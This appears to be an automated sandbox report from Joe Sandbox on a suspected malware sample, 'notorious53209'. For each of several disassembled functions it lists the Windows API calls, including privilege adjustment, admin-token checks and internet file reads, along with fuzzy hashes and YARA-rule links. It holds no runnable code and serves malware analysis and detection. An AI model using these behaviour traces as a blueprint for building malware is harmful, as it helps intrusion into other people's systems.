Instruction ID: 535bcde756c98f97a6bbbaf5af2f92b7ea2a7bb5fffc95135875937ec1277dcc
Opcode Fuzzy Hash: 6d99a0475158a01ae19d490fdf994fa6b4e0eed24476805d1a1a54b97734b402
Instruction Fuzzy Hash: 13318235610018AFCB26CF58DC98EFA7BBAEB49390F544169F9058B261C731AD60DF60

Function 00231290 Relevance: 6.1, APIs: 4, Instructions: 59nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00232612: GetWindowLongW.USER32(?,000000EB), ref: 00232623

NtdllDialogWndProc_W.NTDLL(?,00000020,?), ref: 002312D8
GetClientRect.USER32(?,?), ref: 0026B84B
GetCursorPos.USER32(?), ref: 0026B855
ScreenToClient.USER32(?,?), ref: 0026B860

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Client$CursorDialogLongNtdllProc_RectScreenWindow
String ID:
API String ID: 1010295502-0
Opcode ID: cfdb90c80745ffb90938d1d1eac09146f9200b5b332c9e16f1afaaacf3b6869f
Instruction ID: 3aaca4a215dc0fa1ae7d5b93a89c5a8beb0927d4083cc92a3b3d1f2ff3e6f51b
Opcode Fuzzy Hash: cfdb90c80745ffb90938d1d1eac09146f9200b5b332c9e16f1afaaacf3b6869f
Instruction Fuzzy Hash: 3D113A75920029AFCB10EF98DD899FF77B8EB05300F400566F911E7151C730BA718BA5

Function 0028EB07 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 0028EB19

Strings

(, xrefs: 0028EB5F
|, xrefs: 0028EB49

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: 0b0444afa6bb5e0dc7803dc9244bd78409447188425bbb5d18a414b8a5df7117
Instruction ID: 29eca54b9e8833d6876376a3d291534c65ed032d9f837a293137aeefaf205ad6
Opcode Fuzzy Hash: 0b0444afa6bb5e0dc7803dc9244bd78409447188425bbb5d18a414b8a5df7117
Instruction Fuzzy Hash: CD324778A107059FDB28DF19C48196AB7F0FF48310B12C46EE89ACB7A1D770E951CB40

Function 002A25E2 Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000), ref: 002A26D5
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 002A270C

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: a9c71a544c44af1debb5d08d31b28cf7696cefc85a680094cd972be0693048d6
Instruction ID: 375765d58208b19452d0503650e04dea2210d8dc96c07210ac42dac3d1390829
Opcode Fuzzy Hash: a9c71a544c44af1debb5d08d31b28cf7696cefc85a680094cd972be0693048d6
Instruction Fuzzy Hash: 7241EC71924306FFDB20DE58DC85FBBB7BCEB41714F10406AFA01A6140DEB19E699B54

Function 0029B59E Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0029B5AE
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 0029B608
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 0029B655

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 870adf52625878a3139f7a48185b9104f44c04f068dd6647e0863f81824843e2
Instruction ID: 0d00ec3f44ab2ee4ec5eeb6134af5666fe0c8809fa142e08cc37e6de457c0193
Opcode Fuzzy Hash: 870adf52625878a3139f7a48185b9104f44c04f068dd6647e0863f81824843e2
Instruction Fuzzy Hash: E8215E75A20218EFCB00EF65EC84AADBBB8FF49310F1481A9E845AB351DB31A955CF51

Function 00288CC3 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00250FF6: std::exception::exception.LIBCMT ref: 0025102C
Part of subcall function 00250FF6: __CxxThrowException@8.LIBCMT ref: 00251041

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00288D0D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00288D3A
GetLastError.KERNEL32 ref: 00288D47

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: 43f75e37f6edab7fe9e86be3037187ad3e9be2fdce534ad798e3b92d594c904d
Instruction ID: 6a250d73afdd188e9592253d257a814556e74e1f612af34a416c494345e8ddae
Opcode Fuzzy Hash: 43f75e37f6edab7fe9e86be3037187ad3e9be2fdce534ad798e3b92d594c904d
Instruction Fuzzy Hash: 4411B2B1424205AFD728AF64EC85D6BB7BCEB04711B10852EF84583691EF70BC508B20

Function 00294021 Relevance: 4.6, APIs: 3, Instructions: 61fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0029404B
DeviceIoControl.KERNEL32(00000000,002D1400,00000007,0000000C,?,0000000C,?,00000000), ref: 00294088
CloseHandle.KERNEL32(00000000), ref: 00294091

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 6884e4aee3abe424d1e73959b15417acf45f49a104c66b91cd99b46689457c6c
Instruction ID: efa7f1e711d884a7ca5a1b5caad159bcae074279025ce679f762d715e46115e3
Opcode Fuzzy Hash: 6884e4aee3abe424d1e73959b15417acf45f49a104c66b91cd99b46689457c6c
Instruction Fuzzy Hash: 5C1182B1D14229BEEB109BE8DC48FBFBBBCEB08750F000656BA04E7191D2B45D1587A1

Function 00294C03 Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00294C2C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00294C43
FreeSid.ADVAPI32(?), ref: 00294C53

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 2161dcc34fb142dc413c2c37820dbc82c9fdb5af078bea598c6f8019270136cf
Instruction ID: 1d2de5e3081934381fed21b34bb4fc6184217185c96371d1b55d7a7d920e0fc4
Opcode Fuzzy Hash: 2161dcc34fb142dc413c2c37820dbc82c9fdb5af078bea598c6f8019270136cf
Instruction Fuzzy Hash: 2BF04F7591130DBFDF04DFF0DD89AADB7BCEF08301F004969A501E2191D6705A048B50

Function 00298B13 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 00298B25

Part of subcall function 0025543A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,002991F8,00000000,?,?,?,?,002993A9,00000000,?), ref: 00255443
Part of subcall function 0025543A: __aulldiv.LIBCMT ref: 00255463

Strings

0u/, xrefs: 00298B1C

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64
String ID: 0u/
API String ID: 2893107130-582192232
Opcode ID: 96157674bde54bc76e7f1f62fdeec0388d654bca42191cd19254ce5cb42c9d98
Instruction ID: fd0c3e29d034827445325b98e8ea834e8fc91c4a6b93a595c7a8a938058c1f9a
Opcode Fuzzy Hash: 96157674bde54bc76e7f1f62fdeec0388d654bca42191cd19254ce5cb42c9d98
Instruction Fuzzy Hash: 6821E4726355108FC729CF25E451A62B3E1EFA5321B288E6CD4E9CB2D0CA74B945CB94

Function 0023E060 Relevance: 3.5, APIs: 2, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1643c05eb1fcb8e776e006a6c0a08a6c9fb6b30361eaaf9261b870450c122bc4
Instruction ID: 1edfcf3f0632d3cfad6505189827ae60840ff13d7976deab77557966185470d0
Opcode Fuzzy Hash: 1643c05eb1fcb8e776e006a6c0a08a6c9fb6b30361eaaf9261b870450c122bc4
Instruction Fuzzy Hash: C8228FB0A20216CFDF24DF54C480BBAB7B0FF14310F158569EC569B391D774A9A9CB91

Function 002316DE Relevance: 3.1, APIs: 2, Instructions: 83nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00232612: GetWindowLongW.USER32(?,000000EB), ref: 00232623

Part of subcall function 002325DB: GetWindowLongW.USER32(?,000000EB), ref: 002325EC

GetParent.USER32(?), ref: 0026BA0A
NtdllDialogWndProc_W.NTDLL(?,00000133,?,?,?,?,?,?,?,?,002319B3,?,?,?,00000006,?), ref: 0026BA84

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: LongWindow$DialogNtdllParentProc_
String ID:
API String ID: 314495775-0
Opcode ID: 32238c34b8bb87079dc387699ed7bbf93453cdb5ddbe1af9b6806a2ddf10a599
Instruction ID: b13d12a6b668f6852bd96681f4273c3a7b24006fbb99efed03ce249cc019ec1f
Opcode Fuzzy Hash: 32238c34b8bb87079dc387699ed7bbf93453cdb5ddbe1af9b6806a2ddf10a599
Instruction Fuzzy Hash: A321E774620105AFCB258F68CD88DB97BD6EF09360F584264F5259B2F2C731ADB1DB50

Function 0029C93C Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0029C966
FindClose.KERNEL32(00000000), ref: 0029C996

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: aaee191343b03514bda9c1a6a9927681409dd0c64eda71fa02055cf885983050
Instruction ID: 7f3bac3b66735c4fde20caddb775e36bb7ff204325b964e779f8340c7489706d
Opcode Fuzzy Hash: aaee191343b03514bda9c1a6a9927681409dd0c64eda71fa02055cf885983050
Instruction Fuzzy Hash: 121165756206009FDB10EF29D849A2AF7E5FF45324F14865EF8A5D7291DB70AC10CF91

Function 002BC86D Relevance: 3.0, APIs: 2, Instructions: 46nativewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00232612: GetWindowLongW.USER32(?,000000EB), ref: 00232623

NtdllDialogWndProc_W.NTDLL(?,0000002B,?,?,?,?,?,?,?,0026BB8A,?,?,?), ref: 002BC8E1

Part of subcall function 002325DB: GetWindowLongW.USER32(?,000000EB), ref: 002325EC

SendMessageW.USER32(?,00000401,00000000,00000000), ref: 002BC8C7

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: LongWindow$DialogMessageNtdllProc_Send
String ID:
API String ID: 1273190321-0
Opcode ID: e878c94aee9447ce1271badfdfe95df1bcaf65634c23b13161313c00ac59210d
Instruction ID: 73764bb764e01387f3d8db5d6a5643ff2960c4839cdb823907aede495daa8e81
Opcode Fuzzy Hash: e878c94aee9447ce1271badfdfe95df1bcaf65634c23b13161313c00ac59210d
Instruction Fuzzy Hash: 8501D871210215ABDB225F14DC48EBA7BA6FF853A4F240138F9514B2E0CB716826EF91

Function 002BCC2E Relevance: 3.0, APIs: 2, Instructions: 33nativeCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 002BCC51
NtdllDialogWndProc_W.NTDLL(?,00000200,?,?,?,?,?,?,?,0026BC66,?,?,?,?,?), ref: 002BCC7A

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ClientDialogNtdllProc_Screen
String ID:
API String ID: 3420055661-0
Opcode ID: 63317663828aadcd352ebc09f7ecfe75845b4db17969045719ac8c4a2d2491f0
Instruction ID: 2c0855568c28607cc0872c5b652670516148c3f4cd61a948a85403b03ad1f7d8
Opcode Fuzzy Hash: 63317663828aadcd352ebc09f7ecfe75845b4db17969045719ac8c4a2d2491f0
Instruction Fuzzy Hash: 47F03A7241021CFFEF049F85ED099BE7FB9FB48361F10416AF905A2161D3716A60EBA0

Function 0029A2D5 Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,002A977D,?,002BFB84,?), ref: 0029A302
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,002A977D,?,002BFB84,?), ref: 0029A314

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 5f9be26d45125baf22587d55a8f77a335744118f2f628f0275632663db3734ae
Instruction ID: f5f47defb4de51a92b393145b63295da49e5065f672426271d110d238650c23b
Opcode Fuzzy Hash: 5f9be26d45125baf22587d55a8f77a335744118f2f628f0275632663db3734ae
Instruction Fuzzy Hash: 2EF0E23151432DABDB20AFA4CC49FEA736CBF08361F0042A5F808D2180D6309950CBE1

Function 002BCD6C Relevance: 3.0, APIs: 2, Instructions: 23nativeCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 002BCD74
NtdllDialogWndProc_W.NTDLL(?,00000084,00000000,?,?,0026BBE5,?,?,?,?), ref: 002BCDA2

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: 86264796e2389ed28a787a4fd643736de597c5b37cf7cbfb040c638c6af8dc1f
Instruction ID: b9e5270cafeac4a779a0b68caa516305cf193b1003f5f33e7564ba5c49a0ce43
Opcode Fuzzy Hash: 86264796e2389ed28a787a4fd643736de597c5b37cf7cbfb040c638c6af8dc1f
Instruction Fuzzy Hash: A1E08670214259BFEB145F19DC09FBA3B58EB04790F508225FD56D90E1C770A860D760

Function 00288713 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00288851), ref: 00288728
CloseHandle.KERNEL32(?), ref: 0028873A

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
